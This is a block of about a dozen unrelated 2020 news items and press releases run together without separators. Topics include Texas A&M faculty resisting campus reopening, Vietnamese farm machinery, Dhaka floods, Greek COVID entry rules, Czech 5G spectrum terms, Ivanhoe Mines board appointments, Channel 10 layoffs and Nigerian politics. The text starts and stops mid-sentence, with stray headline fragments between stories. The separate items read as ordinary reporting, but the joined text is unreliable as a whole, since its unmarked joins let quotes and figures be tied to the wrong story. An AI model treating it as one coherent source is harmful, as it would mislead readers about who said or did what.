classroom experience. The four universities represented in the open letter to the A&M System each have individual reopening plans and varying percentages of courses that will be taught in person. Corpus Christi has been averaging about 373 new coronavirus cases per day and Laredo about 224, considerably higher than in San Antonio. But at A&M International in Laredo, only 18 percent of classes will be offered fully online. The majority of classes will be a hybrid of in-person and online, university spokesman Steve Harmon said. A&M-Kingsville estimates that about a third of its courses will be online only, 26 percent face-to-face and the others some form of hybrid, a spokeswoman there said. In Corpus Christi, 34 percent of courses will be offered fully online, 53 percent in a hybrid model, and 13 percent fully in person, university spokeswoman Luisa Buttler said. The faculty senate there last week called on the university to allow faculty to deliver their courses in the format they choose. I am very much opposed to the school opening because it is inevitable it is simply a disaster waiting to happen that people are going to get sick and people are going to die, said Ross Bernhardt, a choir and music professor at A&M-Corpus Christi. The faculty open letter asks A&M System leaders to grant our universities the leeway to make independent decisions about the course delivery methods that will best serve and protect our students and communities. When releasing system guidance last month, officials had said each campus would make more specific decisions, but the nature of that flexibility has been a great source of confusion for the faculty, said Lisa Comparini, a psychology professor at A&M Corpus Christi and a co-author of the letter. Professors have asked questions of their department chairs and college deans about making certain changes and been told they are bound by system rules, Comparini said. I dont know how much or where the leeway was (that) the individual campuses were given, but faculty are not experiencing the freedom to choose how we deliver our courses, she said. The Texas Faculty Association on July 28 published a call to Gov. Greg Abbott to direct all public universities to delay on-campus instruction until Sept. 8 at the earliest, and it urged private universities and community colleges to also push back their reopenings. Faculty at some universities are being allowed to choose how they will teach face-to-face, online only or a hybrid version but faculty at other universities are being required to return to their classrooms before it is safe for them or their students to do so. Many faculty members are scared and feel like they are being forced to put their lives at risk or lose their jobs, said Pat Heintzelman, president of the association and an instructor at Lamar State University in Beaumont. Krista Torralva covers several school districts and public universities in the San Antonio and Bexar County area. To read more from Krista, become a subscriber. Krista.Torralva@express-news.net | Twitter: @KMTorralva Vietnam needs policies to promote mechanical engineering in agriculture to increase added value and quality for the farming sector, experts have said. Supports in land, tax and credit policies are needed to promote the development of the mechanical engineering in agriculture. Photo congthuong.vn According to the Ministry of Industry and Trade, agricultural mechanisation still had very low levels of adoption in Vietnam with an average of 1.6 horsepower (HP) per hectare, much lower than 4HP per hectare of Thailand, 8HP of China and 10HP of the Republic of Korea, Vietnam must now import about 70 per cent of its agricultural machinery, mainly from China. Domestically-produced agricultural machines cost 15-20 per cent more than those imported from China. Phan Tan Ben, director of Phan Tan Agricultural Machinery Company Limited, said the local agricultural machinery industry was outdated and was about to come to a dead-end compared to the rapid development of other regional countries. Agriculture mechanisation was taking place but the machinery was mostly imported while domestically-produced machines were losing their position in the market, Ben said. The main reason for this situation was that Vietnam had not developed spearheads in mechanical engineering and agricultural mechanism in particular, lacking strategies for the industry's development. He added there was also a lack of resources for investment in the industry, outdated technologies and a shortage of raw materials. In addition, competition from imported machines from China, Japan and the Republic of Korea was also an issue, he said. According to Nguyen Chi Sang, deputy chairman of the Vietnam Association of Mechanical Enterprises, market demand for each type of agricultural machine remained small, which would not ensure an economy of scale. Another factor was that mechanical projects required very huge investment, Sang said, adding that most Vietnamese firms lacked such huge capital while the Governments support remained limited. In addition, the part-supplying industry for the mechanical industry had not been developed. The Ministry of Agriculture and Rural Development forecast Vietnam had significant demand for agricultural machinery by 2025, including 500-1,000 rice planting machines per year and 2,000-3,000 rice combine harvesters annually. Demand for harvester machines for sugarcane, coffee, corn, been and peanuts would be three to five times higher. Nguyen The Ha, director of Bui Van Ngo Technology Institute, said that the Mekong Delta had a large demand for agricultural machinery which was estimated to amount to billions of dollars. According to Ben, the Governments support in terms of capital, tax and land policies and human resources was critical for the development of the agricultural machinery industry. The Ministry of Industry and Trade said to develop the mechanical industry, it was necessary to develop policies to encourage large-scale agricultural production. The Ministry of Agriculture and Rural Development said it was studying a special credit package for the purchase of agricultural machines which would accelerate agricultural mechanisation. The package will be proposed to the Government for consideration. VNS Niche inventions lessen load on farmers Despite just a few years of schooling and with little in the way of formal training in mechanical engineering, Nguyen Thanh Hung from Hong Ngu District in Dong Thap is nonetheless famed locally City dwellers suffer as mercury rises Incomplete construction or repairing works of roads in different parts of the city often cause severe trouble to the smooth movement of vehicles. This photo, taken on Tuesday from Nabab Katra in Old Dhaka, shows how misrerable condition the people are fac Staff Reporter : Sufferings of the city dwellers increased further on Tuesday amid rise in mercury with low rain. The maximum temperature of Dhaka city was recorded as 34.5 degrees Celsius on the day while the minimum temp was 29 degrees. The city witnessed only 1.0 mm rainfall on the day while the sky was partly cloudy which raise the heat further, said Met Office. Humidity was recorded as 74 per cent in the environment which declined to 68 per cent in the evening. The highest temperature was measured in Tangail as 35.5 degrees on the day. Larergarh witnessed the highest rainfall of 115 mm on the day, said Met Office.Meteorologist Dr Sadequl Alam said the city and other areas were experiencing much low rain for the last one and a half weeks which intensified the woes of people. He said humidity level normally remains highest in July-August period when heavy rain helps to ease hot weather. But the condition is different this year amid low rain during this period, he said. He said a low was intensifying in the north bay which already hit few states of India but it was yet to put any impact on Bangladesh. He said there is a chance of heavy rain form the fourth week of this month and before that such boiling weather might persist. Sun will rise at 5:33am while sunset will be at 6:34pm on Wednesday. However, flood condition in the North-Eastern regions in the Brahmaputra and Kushiara basins started deteriorating further amid onrush of upstream water from neighbouring India. Many fresh areas in Kurigram, Sylhet, Moulovibazar, Sunamganj and Habiganj inundated due to rising water in the rivers, said the Bangladesh Water Department Board (BWDB). The Flood Forecasting and Warning Centre (FFWC) under the BWDB said water was rising in Bramaputra and Kushiara which might continue for the next two days. However, water flow in other basins was declining which might sustain for the next day. Water in the rivers around the Dhaka district was also falling which would continue for next one day, said FFWC. However, major rivers in 27 stations showed a rise while decline in 72 points. Six rivers in nine stations were flowing above their danger mark on the day. According to the government data, a total of 5.6 million people have been affected and 198 killed in the one and a half months long flood. Compare-autoinsurance.org has launched a new blog post that explains the main advantages of usage-based programs and how they can lower car insurance rates For more info and free online quotes, please visit https://compare-autoinsurance.org/top-advantages-of-usage-based-insurance/ Drivers can lower their car insurance costs by enrolling in a usage-based insurance program. Usually, a small telematics device is installed inside the policyholders vehicle. This device will send data about the time of day when the car is driven, braking, acceleration, speed, cornering, and the distance traveled in one day. Drivers that allow their insurer to monitor their driving habits can receive the following benefits: Get discounts really fast. Compared to the traditional method that took years of driving history to be analyzed in order to get a good driver discount, this method only takes several months of driving history to be analyzed in order to qualify for a discount. Driving less means paying less. If the policyholder changes his driving habits, this will reflect in the paid insurance rates. Policyholders can drive fewer miles in order to qualify for a low-mileage discount. It stimulates people to become better drivers. Knowing that every bad driving habit like how often the driver is hard braking, turns too sharply, or he is speeding is monitored by the insurer, can determine the policyholder to become a better driver. It helps accidents investigation. The telematics device records the moments before an accident happens. Data like the speed and the direction the car was traveling, airbag deployment and hard braking can help the investigators to find out what happened and who is at fault. Fraudulent claimants are also easier to catch by insurance companies. It helps policyholders recover their stolen vehicle. Telematics devices come installed with tracking technologies. For this reason, recovering a vehicle equipped with one of these devices is much easier for the authorities. Large discounts for teen drivers. Teens can lower their insurance rate by allowing them to be monitored by their insurer. Their rates can significantly reduce if they have good driving habits. For additional info, money-saving tips and free car insurance quotes, visit https://compare-autoinsurance.org/ Compare-autoinsurance.org is an online provider of life, home, health, and auto insurance quotes. This website is unique because it does not simply stick to one kind of insurance provider, but brings the clients the best deals from many different online insurance carriers. In this way, clients have access to offers from multiple carriers all in one place: this website. On this site, customers have access to quotes for insurance plans from various agencies, such as local or nationwide agencies, brand names insurance companies, etc. Visitors to Greece arriving from Sweden, Belgium, Spain, the Netherlands and the Czech Republic will need proof they have tested negative for the novel coronavirus to gain entry, the government said on Monday. Tightening controls after a recent spike in COVID-19 infections, the government said the requirement will go into effect from August 17. The required test cannot be older than 72 hours prior to entry. On Sunday Greece reported its highest daily tally of coronavirus infections, 203 cases, since the start of the outbreak. The brought the total number of infections in the country to 5,623 since its first infection surfaced in late February. The government said the same requirement will apply to all visitors entering Greece via its land borders, including Greek citizens returning home. The government also moved to suspend public gatherings, including shows and concerts, where audiences are not seated. Prompted by recent epidemiological data that showed an uptrend in COVID-19 infections, it has also said restaurants and bars in Crete, Thessaloniki, Chalkidiki and the islands of Mykonos, Paros, Santorini, Antiparos, Zakynthos and Kos cannot operate from midnight to 07:00. Operators in the Czech Republic have criticised the regulators 5G launch proposals, which are aimed at increasing competition in the market. As it prepares to allocate 5G-capable spectrum in the 700MHz and 3400MHz3600MHz bands, the Czech Telecommunication Office (CTU) has imposed a number of criteria on the tender process, including holding back a 2x10MHz block of 700MHz spectrum for new market entrants. TeleGeography also reports that the regulator has set limits on the amount of spectrum that a single bidder can acquire in either band, stipulated that current operators must provide beneficial roaming terms for newcomers, and laid out coverage criteria relating to national infrastructure, amongst other conditions. The regulators conditions are based on a public consultation made ahead of the tender launch, and factor in longstanding criticism from both politicians and consumers around the high cost of mobile services in the market. Operators were quick to highlight issues with the regulators proposals, with Vodafone CR arguing: given the mistakes and problems in the conditions, it can be expected that the auction will result in clashes at courts and also the European Commission. Reuters quoted T-Mobiles Jiri Janecek as saying: We have to study the conditions and ponder our next steps, including possible charges. O2 Czech Republic complained to the EU Commission last month about the auctions terms. The criticism is not unwarranted, with CommsUpdate noting that the former chief executive of the CTU Jaromir Novak left his post in January 2020 over a disagreement with government changes to the 5G auction terms. Novak argued that any late changes to the proposals would deter bidders and stall the advent of 5G, saying: I cannot sign under auction conditions that in my deep conviction will not improve the competitive environment in the Czech market, they will jeopardise the target of rapidly introducing 5G networks and they will likely lead to a number of court disputes. The CTU has confirmed that potential bidders must apply before 30th September 2020 to participate in the auction. Johannesburg, South Africa--(Newsfile Corp. - August 11, 2020) - Ivanhoe Mines (TSX: IVN) (OTCQX: IVPAF) Co-Chairs Robert Friedland and Yufeng "Miles" Sun are very pleased to announce the appointment of two distinguished female business leaders - Nunu Ntshingila and Martie Janse van Rensburg - to the Ivanhoe Mines board as independent directors. Ms. Ntshingila is Regional Director, Facebook Africa, and Ms. Janse van Rensburg is a Chartered Accountant who worked for South Africa's Trans Caledon Tunnel Authority from 1994 to 2008; initially as its Chief Financial Officer and then advancing to become its Chief Executive Officer. Ms. Ntshingila and Ms. Janse van Rensburg each have more than 25 years' business experience with African-based companies. Ms. Ntshingila's expertise is in marketing and advertising, while Ms. Janse van Rensburg has particular proficiency in accounting, capital markets, project finance and infrastructure development. "We're delighted to have Nunu and Martie join us as we complete our transition from explorer, to developer, to a leading, diversified resource company committed to modern, responsible mining," said Mr. Friedland. "I'm very much looking forward to working with such accomplished business leaders." "We are proud of the growing team of talented South African and Congolese women at all levels of our company. They have embraced our goal of environmental, health and safety excellence; and, through their efforts, are helping us to build what will be three of the world's best mines in Southern Africa's legendary mineral fields," he continued. "Nunu and Martie's unique African experience and insights will add tremendous value at Ivanhoe, where we continue our strategic effort to empower a new generation of highly-skilled women," Mr. Friedland added. Mr. Friedland and Mr. Sun noted that the two appointments were in keeping with the company's objective to have its board comprised of a majority of independent directors and to increase its female representation at the board level. About Nunu Ntshingila Nunu Ntshingila To view an enhanced version of Nunu Ntshingila, please visit: https://orders.newsfilecorp.com/files/3396/61448_0ab3953d64dbdac7_002full.jpg Ms. Ntshingila joined Facebook Africa in September 2015. Based in Johannesburg, she is responsible for building Facebook's commercial presence across the entire African continent. Before joining Facebook Africa, Ms. Ntshingila spent almost 16 years with Ogilvy & Mather South Africa in increasingly senior positions; becoming company Chair in 2012. During her tenure with Ogilvy, she oversaw the agency's evolution into a diversified communications group delivering integrated, effective and award-winning work for many of South Africa's biggest and most well-recognized brands, including: DStv, SABMiller, KFC, Cadbury, BP, Volkswagen and Coca-Cola. Prior to joining Ogilvy & Mather South Africa, Ms. Ntshingila worked as Director of Communications for Nike South Africa for three years. She also has served as a council member of the Women's World Banking Council, whose mission is to drive financial inclusion for women in Africa. Ms. Ntshingila holds an undergraduate degree from University of Swaziland and a MBA degree from Morgan State University, Baltimore, Maryland. She has received numerous awards during her 30-year career, including a Lifetime Achievement Award from the Financial Mail and an AdReview Lifetime Award. In 2016, Ms. Ntshingila became the first woman inducted into the Loeries Creative Hall of Fame, in recognition for her outstanding achievements in inspiring and fostering creativity. In 2018, she received the BET Butterfly Award for Passion, Purpose and Persistence. She also was named by Fortune Magazine as one of the Top 50 Most Powerful Women - International List in 2018 and 2019. She has served as a director on the boards of Old Mutual, Transnet, Ogilvy Global and Cape Town's Victoria & Alfred Waterfront Group. While on these boards, Ms. Ntshingila served on and led board committees, including Investment, Remuneration, Social & Ethics and Audit. About Martie Janse van Rensburg Martie Janse van Rensburg To view an enhanced version of Martie Janse van Rensburg, please visit: https://orders.newsfilecorp.com/files/3396/61448_0ab3953d64dbdac7_003full.jpg Martie J Janse van Rensburg is a Chartered Accountant based in Johannesburg, South Africa. She has more than 25 years' experience in senior-level executive positions and as a director with a number of leading South African companies, with a particular focus on capital markets, project finance and infrastructure development. She has worked on infrastructure projects in many of the Southern African Development Community (SADC) countries, including Botswana, Lesotho, Mozambique, Namibia and Swaziland. Since 2008, Ms. Janse van Rensburg has worked as an independent consultant to government, banks, and companies with respect to governance, water, financial, funding and institutional arrangements and transformation. She last served as a consultant to ASISA (Association for Savings and Investment South Africa) to promote investment in water infrastructure from 2016 to 2019. Previous to this, Ms. Janse van Rensburg worked for Trans Caledon Tunnel Authority, a South African state-owned entity charged with financing and implementing mega bulk raw water infrastructure projects, from 1994 - 2008; initially as its Chief Financial Officer until1998 and then as its Chief Executive Officer from 1998 to 2008. Prior to joining Trans Caledon, she worked as a consultant for Deloitte (1992-1994), with a focus on business re-engineering. After completing her articles as chartered accountant she lectured at the University of South Africa on a post-graduate level in Applied Auditing and Applied Taxation (October 1988 to December 1991). In addition to her executive management positions, Ms. Janse van Rensburg has more than 21 years' experience as an executive and non-executive director, serving in organizations that required strategic redirection and governance alignment in the public and private sectors. Ms. Janse van Rensburg currently serves as a non-executive director on the boards of Sephaku Holdings Ltd., Etion Ltd., Development Bank of Southern Africa; and Independent Regulatory Board for Auditors. She previously served on the boards of Denel Soc.; Johannesburg Water (Pty) Limited; Headstream Water Holdings (Pty) Ltd.; NMI Group of Companies and Trust; Airports Company of SA Soc.; Bond Exchange of South Africa; and AH Vest Limited. While on these boards, Ms. Janse van Rensburg served and led various board committees, including Audit, Risk, Treasury and Regulatory committees; and chaired Johannesburg Water, Denel and subsidiaries in the NMI Group. She also serves as a non-executive member of the Credit Investment Committee of Ashburton (since October 2016) and International and Specialised Finance Wholesale Credit Committee of First Rand Bank Ltd (since April 2011). Ms. Janse van Rensburg was a recipient of South Africa's inaugural Woman in Water Award in 2002, and was nominated for BWA Business Woman of the year in 2006. Ms. Janse van Rensburg is a member of the Institute of Chartered Accountants (South Africa) and the Institute of Directors. She holds a Bachelor of Commerce degree and a Bachelor Honours of Commerce degree and a Certificate in the Theory of Accounting (CTA). She qualified as a Chartered Accountant in 1987. About Ivanhoe Mines Ivanhoe Mines is a Canadian mining company focused on advancing its three principal joint-venture projects in Southern Africa: the development of major new, mechanized, underground mines at the Kamoa-Kakula discoveries in the Democratic Republic of Congo (DRC) and at the Platreef palladium-platinum-nickel-copper-rhodium-gold discovery in South Africa; and the extensive redevelopment and upgrading of the historic Kipushi zinc-copper-germanium-silver mine, also in the DRC. Kamoa-Kakula and Kipushi will be powered by clean, renewable hydroelectricity and will be among the world's lowest greenhouse gas emitters per unit of metal produced. Ivanhoe also is exploring for new copper discoveries on its wholly-owned Western Foreland exploration licences in the DRC, near the Kamoa-Kakula Project. Information contacts Investors Bill Trenaman +1.604.331.9834 Media Matthew Keevil +1.604. 558.1034 To view the source version of this press release, please visit https://www.newsfilecorp.com/release/61448 The European Union announced 1.65 million euros in humanitarian aid for flood-affected countries, most notably Bangladesh, India and Nepal. EU's European Civil Protection and Humanitarian Aid Operations (ECHO) said in a statement that the latest funding comes on top of 1.8 million euros announced earlier to support families severely affected by natural disasters, including Cyclone Amphan. The total amount of EU support for the victims of such disasters in South Asia amount to 3.45 billion euros. ECHO said that a further 500,000 euros will be used in India to provide food and livelihood assistance, emergency relief supplies, and water and sanitation services. According to the humanitarian organisation, monsoon rains have impacted 10.9 million people, exacerbating the condition of people struggling from the pandemic. Taheeni Thammannagoda, who oversees EU humanitarian programs in Asia and the Pacific, said in a statement that the monsoon rains across South Asia have been devastating and this urgent contribution will help EUs humanitarian partners on the ground in providing crucial support to those who have lost their shelters, belongings and sources of livelihood. Focusing on the worst affected countries, we are providing the means for people to survive through this difficult time so that they can get back on their feet as soon as possible," said Thammannagoda. Read: Poland Calls For Emergency European Union Summit After Clashes In Belarus Read: Belarus Poll: EU Chief Calls For Accurate Counting Of Votes After Contentious Results Package for economic fallout Meanwhile, the EU Commission has agreed to Memoranda of Understanding (MoU) on macro-financial assistance (MFA) programmes with eight partners. The agreements are part of the 3 billion euros MFA package for ten enlargement and neighbourhood partners, aimed to help them limit the economic fallout of the coronavirus pandemic. Valdis Dombrovskis, an Executive Vice-President, said in a statement that the bloc is working to help neighbouring countries to cushion the worst of its economic impact. Dombrovskis added that the crisis MFA programs' will be provided on favourable terms on the basis of signed MoU outlining concrete reform commitments. It will help the neighbouring countries to cover their external financing needs in 2020-21, given the difficulties in tackling the economic impact of the pandemic, he said. Read: Bihar Floods: Over 75 Lakh People In 16 Districts Affected; CM Assures Financial Aid Read: Tejashwi Yadav Hits Out At Bihar CM Over Floods & COVID; Says Nitish Govt In Deep Slumber (With PTI inputs) Category Select Category Apparel/Garments Textiles Fashion Technical Textiles Information Technology E-commerce Retail Corporate Association Press Release SubCategory Select Sub-Category The Kaduna State House of Assembly has suspended three of its members from all activities of the house for nine months. The Assembly also reprimanded five other members who were directed to apologise to the assembly in writing and publish the apology in a national daily within a week. The News Agency of Nigeria (NAN) reports that the Assembly took the decision at plenary on Tuesday after adoption of the report of the committee that investigated the fracas that occurred during its sitting on June 11. The committee, headed by Shehu Yunusa, recommended the suspension and reprimand of the affected members in accordance with the Assemblys Code of Conduct. Those suspended were Mukhtar Isa-Hazo, a former deputy speaker representing Basawa constituency, Nuhu Goroh-Shadalafiya of Kagarko constituency and Yusuf Liman-Dahiru, Kakuri/Makera constituency. They were suspended for causing disaffection among members and denigrating the office of the deputy speaker. READ ALSO: The five members reprimanded include Salisu Isa (Magajin Gari), former Speaker, Aminu Abdullahi-Shagali (Sabon Gari), AbdulWahab Idris (Ikara), Yusuf Salihu (Kawo) and Nasiru Usman (Tudun Wada). The sitting was presided by the Deputy Speaker, Isaac Auta-Zankai. Meanwhile, a bill for a law to amend the Kaduna State Penal Code 2017, scaled through second reading during the sitting. The bill seeks to amend Section 258 of the principal law to provide more effective sanctions to protect women and children against sexual abuse and violence. (NAN) Senator Ben Sasse (R., Neb.) doubled down on his criticism of President Donald Trumps recent executive orders in a tweet on Monday afternoon, saying no president has the power to make such unilateral policy decisions. No president whether named Obama or Trump or Biden or AOC has unilateral power to rewrite immigration law or to cut taxes or to raise taxes, Sasse said. This is because America doesnt have kings. Mr. President- I understand that youre mad. A few thoughts. (1) As weve discussed before, I dont think Twitter is the best place to do this. But, since you moved our conversation from private to public, here we are. (2)https://t.co/AYF2ApdRR2 pic.twitter.com/2rtiPuhJJB Team Sasse (@TeamSasse) August 10, 2020 Sasses comment was the latest in a war of words between the pair that played out on Twitter after the senator called Trumps executive orders unconstitutional slop. The pen-and-phone theory of executive lawmaking is unconstitutional slop, Sasse said earlier. The orders, which Trump signed in response to legislative gridlock over additional Covid relief legislation, extended the expanded unemployment benefits Congress approved in March, deferred payroll taxes and extended rent and student loan payment assistance. President Obama did not have the power to unilaterally rewrite immigration law with DACA, and President Trump does not have the power to unilaterally rewrite the payroll tax law. Under the Constitution, that power belongs to the American people acting through their members of Congress, he continued. The president shot back at Sasses initial criticism, calling the senator a Republican in Name Only or RINO. RINO Ben Sasse, who needed my support and endorsement in order to get the Republican nomination for Senate from the GREAT State of Nebraska, has, now that hes got it (Thank you President T), gone rogue, again. This foolishness plays right into the hands of the Radical Left Dems! Trump wrote in a Monday morning tweet, branding Sasse as a Republican in Name Only or RINO. Story continues In his latest response, Sasse accused the president of being frustrated I didnt join your re-election committee & that I ran a primary ad admitting to Nebraskans that we sometimes agree and sometimes disagree. You also know I never asked for your endorsement nor did I use it in the campaign, he added. I have pleaded with you but for bigger things like better U.S. policy on the Chinese Communist Party and on this, youve done a very good job. Sasse then offered to move the conversation back to a private channel if Trump so desires. The senators criticism of Trumps executive action put him at odds with GOP Senate Majority Leader Mitch McConnell, who called the orders a necessary action. Struggling Americans need action now. Since Democrats have sabotaged backroom talks with absurd demands that would not help working people, I support President Trump exploring his options to get unemployment benefits and other relief to the people who need them the most, McConnell said. More from National Review Geographic Enterprises, a sales territory mapping company, recently released a blog educating readers on how to plan sales territories with sales territory mapping software. A sales territory plan is the strategic organization of potential sales territories, in order to maximize the productivity and overall revenue of sales teams. The sales territory mapping company begins by educating readers on the benefits of effective sales territory management through targeting specific regions, industries, clients and potential opportunities. In addition to specific targeting, sales territory planning grants businesses the ability to set achievable goals and track sales teams progress. Through efficient sales progress tracking, businesses can replicate their successes and avoid failures more easily. A well optimized sales territory planning strategy can also decrease the likelihood of over-assigning territories to team members, which can improve the success rate of sales goals. Geographic Enterprises then goes on to list steps on how businesses can effectively plan sales territories. The first step when planning out sales territories is to define a target market and clients who should be reached out to. Target markets can be segmented by territory size and geography or by customer demographics, age or income brackets. The next step involves an assessment of the account by the quality of the account/client or territory. By assessing the overall value of the account or client, sales teams can then prioritize the territories and effectively plan their routes. Sales teams will then want to review the strength of their representatives by evaluating the effectiveness of their closers, thus increasing the likelihood of closing sales opportunities. Finally, sales teams should acquire sales territory mapping software in order to visualize their sales routes and electronically make notes on specific regions and territories. The sales territory mapping software company has years of experience working with businesses who wish to improve their sales operations by providing them with sales territory mapping software and route optimization mapping software. Geographic Enterprises is headquartered at 1400 Flemming House Street, Wake Forest, NC 27587. They can be contacted online at https://mappingresources.com/ or by phone at (919) 267-3488. Australians have called for Channel 10's current affairs program The Project to be axed, as the network cuts at least 25 jobs in response to the COVID-19 recession. On Tuesday, The Project and its hosts managed to avoid the swinging axe as the broadcaster announced a dramatic 'restructuring' of its news division, with the likes of Kerri-Anne Kennerley, Natarsha Belling and Tim Bailey being made redundant. But many furious viewers have said that the left-leaning current affairs show, hosted by Waleed Aly and Carrie Bickmore, should have been first on the chopping block. Scroll down for video Australia turns on The Project: Viewers are calling for the current affairs show to be AXED as Channel 10 sacks Kerri-Anne Kennerley, Natarsha Belling and Tim Bailey amid brutal budget cuts. Pictured: The Project hosts Peter Helliar, Waleed Aly, Carrie Bickmore and Tommy Little The Project has been on the air since 2009 and is hosted on weeknights by Aly, Bickmore and comedian Peter Helliar. Its Sunday edition is hosted by Lisa Wilkinson. The program also features a variety of regular guest hosts, including Tommy Little, Gorgi Coghlan and Rachel Corbett. 'Should have sacked the muppets on The Project instead,' one furious viewer wrote on Facebook after news of the cuts broke on Tuesday afternoon. 'Axe the Project, it's s**t,' another commented, while a third wrote: 'Sack The Project.' 'Sack The Project!' Many furious viewers have said that the left-leaning current affairs show, hosted by Waleed Aly and Carrie Bickmore, should have been first on the chopping block 'Should have sacked the muppets on The Project instead': On Tuesday, The Project managed to avoid the swinging axe as Channel 10 announced a dramatic restructuring of its news division, with the likes of Kerri-Anne Kennerley, Natarsha Belling and Tim Bailey being made redundant Divisive? Despite the uproar, The Project has won several Logie Awards over the years for Most Popular Panel and Most Popular Presenter, which are voted for by the public. In fact, Aly was awarded the coveted Gold Logie for Most Popular Personality on Australian Television in 2016 'Now they need to cancel The Project and sack Waleed Aly and they might start getting more viewers,' one angry viewer posted. Despite the uproar, The Project has won several Logie Awards over the years for Most Popular Panel and Most Popular Presenter, which are voted for by the public. In fact, Aly was awarded the coveted Gold Logie for Most Popular Personality on Australian Television in 2016. Aly and Bickmore are believed to earn the same annual salary of $500,000. The Queensland Times reported in 2015 that they had 'matching deals' with Channel 10, but this situation may have changed since. When Wilkinson joined The Project in 2018, her deal with the network was rumoured to be close to $2.3million. Not bad: The Project's longtime hosts Aly and Bickmore (pictured) are believed to earn the same annual salary of $500,000 Going strong: When Lisa Wilkinson (pictured) joined The Project in 2018, her deal with the network was rumoured to be close to $2.3million Despite Channel 10's news and operations department being 'restructured' in response to the sharp decline in advertising revenue, The Project hasn't been affected by the cuts. Daily Mail Australia understands this is because network chief Beverley McGarvey considers the show an essential part of the daily schedule. '[The Project] will never be cancelled because senior management won't hear a bad word said against it,' a source said earlier this year. 'For some reason, the higher-ups at Channel 10 love it, even though the viewers don't. It doesn't rate, it's expensive to produce and a lot of the publicity it generates is negative.' Job cuts: Channel 10 has sacked several major stars, including Kerri-Anne Kennerley (pictured), Natarsha Belling and weatherman Tim Bailey, as the coronavirus recession continues to devastate the TV industry At least 25 jobs have been axed at Channel 10 overall, with further redundancies to be announced in the coming weeks, and the changes are expected to be effective from September 14. Morning show Studio 10 has been hit the worst, with outspoken panellist Kerri-Anne Kennerley and journalist Natarsha Belling being made redundant. Host Sarah Harris and entertainment reporter Angela Bishop are staying, and Denise Drysdale and Denise Scott will continue as contributors. Axed: Tim Bailey, who has worked at Channel 10 for three decades, will depart the company Narelda Jacobs will remain as newsreader and Jono Coleman will present the advertorial segments as normal. Panellist Joe Hildebrand hasn't lost his job yet, but is understood to be in talks with the network about his future. As part of the company restructure, the 10 News First weekday operation will be centralised in Sydney and Melbourne, and the network will move to a national weekday weather model fronted by Tim Bailey's to-be-announced replacement. Sydney, Brisbane and Perth will all host their news bulletins out of Sydney, while Melbourne and Adelaide will be based out of Melbourne. Sandra Sully and Matt Burke will host the Sydney and Brisbane bulletins, and Jennifer Keyte and Stephen Quartermain will host the Melbourne and Adelaide edition. A new team will be announced to host the Perth news. Changes: Despite losing Kennerley and Natarsha Belling (pictured), morning show Studio 10 will continue to air weekdays from 8am to midday Channel 10's network director of news content, Ross Dagan, said in a statement about the job cuts: 'The decision to make these changes was a very difficult one and I want to express my sincere thanks and gratitude to our friends and colleagues who will leave the network. 'It is in no way a reflection of their talent, contribution or passion. They are exceptionally gifted people. We are incredibly proud of them and their work. There is no doubt they will be missed. 'These painful changes reflect the state of the media industry in recent years and the need for all media companies to achieve new efficiencies. 'While our viewers in Brisbane, Adelaide and Perth will see some on-air changes, we will continue to produce local news and employ local reporters, camera operators and production staff in those cities.' Beverley McGarvey, Channel 10's chief content officer, added: 'These decisions are not being made lightly; however, they are essential to future-proofing our business.' The decision to axe 25 staff members comes three months after the broadcaster announced the closure of its news website 10 Daily. Will he stay? Studio 10 panellist Joe Hildebrand (pictured with Kennerley) hasn't lost his job yet, but is understood to be in talks with the network about his future Channel 10's full statement 'Network 10 today informed staff about a restructuring of its News and Operations department. As part of the restructuring, the presentation of the weekday 5.00pm to 6.30pm 10 News First bulletins will be centralised in Sydney and Melbourne. Presentation of the weekday Sydney, Brisbane and Perth 5.00pm to 6.30pm news bulletins will take place in Sydney. Presentation of the weekday Melbourne and Adelaide 5.00pm to 6.30pm news bulletins will take place in Melbourne. Network 10 will also move to a national weekday weather model. A new national meteorologist [to replace Tim Bailey] will be announced soon. 10 News First bulletins will remain locally produced and will continue to employ local reporters, news crews and operations staff in Brisbane, Adelaide and Perth. The changes to the Brisbane, Adelaide and Perth weekday news bulletins are expected to be effective from Monday, September 14. National weekend bulletins will not be affected. The Project is not affected. There will also be some changes to the presentation of Studio 10. It will continue to air weekdays from 8.00am to 12.00pm. As a result of the restructuring, some on-air presenters, journalists and operations staff will leave Network 10. The network would like to thank those people for their dedication and hard work. A redundancy program has commenced in Network 10's News and Operations department. No further details are available at this stage.' Advertisement Some of the job cuts will come as a surprise to viewers. Tim Bailey, for example, is considered a legend at the network, and has been a familiar face for more than 30 years. He is being replaced by another meteorologist as Channel 10 moves to a national weekday weather model. Kennerley is a more recent hire, having only joined the Studio 10 panel in September 2018. - Oba of Benin, Akpolokpolo Ewuare II, has hailed Governor Nyesom Wike for his courageous leadership - The Rivers governor was showered with a flurry of encomiums when he paid the Edo monarch a visit in his palace - Wike, who is the chairman of PDP campaign council of Governor Godwin Obaseki, promised to respect the traditional institution PAY ATTENTION: Click See First under the Following tab to see Legit.ng News on your Facebook News Feed! The leadership of Governor Nyesom Wike of Rivers state has been lauded by Omo NOba Akpolokpolo Ewuare II, the Oba of Benin in Edo state. The prominent monarch commended Wike after the governor and some bigwigs of the Peoples Democratic Party (PDP) paid him a courtesy visit in his palace to seek blessing for the reelection of Governor Godwin Obaseki. Obaseki, who recently defected from the All Progressives Congress (APC) after falling out with Adams Oshiomhole, former national chairman of the party, is seeking reelection on the platform of the opposition party. In a statement by Paulinus Nsirim, Rivers commissioner for information and communication, Oba Ewuare said he has been following the leadership style of the Rivers governor. Wike is the chairman of PDP national campaign council for the Edo state gubernatorial election scheduled to hold on Septemeber 19, 2020. The Edo monarch also commended Wike for his dauntless courage in rescuing Joi Nunieh, former managing director of the Niger Delta Development Commission (NDDC). Oba of Benin, Akpolokpolo Ewuare II, has hailed Governor Nyesom Wike for his leadership style. Credit: Twitter (GovWike). Source: Twitter On his own, Governor Wike thanked the monarch for his hospitality and promised his continued respect for the traditional institution. He promised to return to the palace on a thank you visit after the victory of the party in the forthcoming election. PAY ATTENTION: Install our latest app for Android, read the best news on Nigerias #1 news app Earlier, Legit.ng reported that as the Edo governorship election draws closer, PDP has shown readiness to reclaim the south-south state ahead of the 2023 general poll. The opposition party on Saturday, July 25, flagged-off the campaign for the re-election of Governor Obaseki and his deputy Phillips Shaibu. The election in the state is scheduled for September 19, 2020, and efforts have been concentrated extensively as bigwigs of the party hold the maiden campaign for the Edo governor. NWC dissolution: I remain loyal to President Buhari - Oshiomhole | Legit TV Source: Legit.ng In the hearing, Singh, 34, called the July 7 primary irregular because it was the first time a primary was conducted mainly through paper vote-by-mail ballots. On Tuesday he said recounts are usually easy to get, 